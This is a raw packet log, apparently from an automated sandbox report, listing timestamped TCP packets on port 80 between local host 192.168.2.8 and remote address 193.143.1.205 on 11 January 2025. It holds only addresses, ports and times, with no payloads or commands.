Jan 11, 2025 07:47:06.757145882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.757216930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.771217108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.771239042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.771256924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.771272898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.771334887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.771358013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.804357052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.804371119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.804450989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.837142944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837179899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837202072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837214947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837233067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837246895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837256908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837272882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837286949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837305069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837312937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.837325096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837338924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837363958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.837363958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.837373018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.837382078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837395906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837413073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837426901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.837551117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837573051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837584972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.837585926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837605000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837616920 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.837619066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837647915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.837730885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837766886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837804079 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.837815046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837830067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837860107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837860107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.837877035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.837904930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.837979078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.838040113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.838059902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.838068008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.838076115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.838089943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.838104010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.838144064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.838159084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.838172913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.838177919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.838216066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.838232040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.838246107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.838275909 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.879498959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879518032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879543066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879564047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879590988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879605055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879618883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879633904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879650116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.879657984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879673004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879683971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.879692078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879705906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879709005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.879725933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879740000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879749060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.879755974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879764080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.879772902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879792929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879812002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.879818916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879841089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879854918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879856110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.879869938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879883051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.879887104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879908085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879920959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879923105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.879939079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879945040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.879954100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879971027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879983902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.879991055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.880002975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880013943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.880017042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880036116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880048037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.880053043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880070925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880084991 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.880156994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880173922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880187988 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.880194902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880203009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880223989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880235910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.880250931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880264997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880265951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.880281925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880290985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.880300045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880311966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880327940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.880328894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.880357027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.896848917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.896864891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.896917105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.929461956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929492950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929514885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929558992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929574013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929600000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.929626942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.929629087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929645061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929666996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.929672003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929682970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929703951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929713011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.929719925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929743052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.929914951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929925919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929951906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929960966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.929971933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.929987907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.930003881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930026054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930038929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.930047989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930063963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930080891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930084944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.930098057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930113077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.930114031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930149078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.930433989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930449009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930460930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930480003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930485010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.930500031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930510998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930522919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.930531979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930545092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.930567026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930577993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930602074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930607080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.930619001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930635929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.930635929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.930670977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.930999994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.931011915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.931031942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.931044102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.931054115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.931061983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.931076050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.931077957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.931094885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.931103945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.947531939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.959331036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.962276936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962294102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962311983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962335110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962362051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.962388039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962413073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.962420940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.962420940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962445021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962471962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962480068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.962508917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962518930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962541103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.962544918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962559938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962577105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.962578058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962606907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.962629080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962644100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962671041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.962785006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962846994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962871075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962877989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.962894917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962905884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962912083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.962965965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.963059902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963071108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963094950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963109016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963119984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.963126898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963143110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.963171005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963172913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963176012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963208914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.963211060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963498116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963500023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963510990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963535070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.963542938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963553905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963555098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.963579893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.963588953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963594913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963623047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.963665009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963680983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963697910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963710070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963715076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.963732004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.963740110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.964123964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.964134932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.964154005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.964160919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.964168072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.964186907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.964195967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.964196920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.964221954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.964229107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.964236021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.964250088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.964272022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.964277983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.964287043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.988930941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.988941908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.989061117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022190094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022209883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022238970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022253036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022269964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022281885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022299051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022310972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022329092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022331953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022350073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022362947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022372007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022372007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022394896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022407055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022413969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022420883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022423983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022432089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022447109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022463083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022470951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022485018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022494078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022511005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022522926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022531033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022550106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022569895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022738934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022758961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022773981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022777081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022792101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022808075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022810936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022830009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022851944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022901058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022922039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022934914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022938013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022954941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022967100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.022972107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.022988081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.023003101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.023257017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.023272991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.023286104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.023291111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.023320913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.023490906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.023511887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.023525000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.023542881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.023547888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.023560047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.023570061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.023576021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.023592949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.023603916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.023607969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.023627043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.023643017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.023653030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.023680925 CET	49705	80	192.168.2.8	193.143.1.205
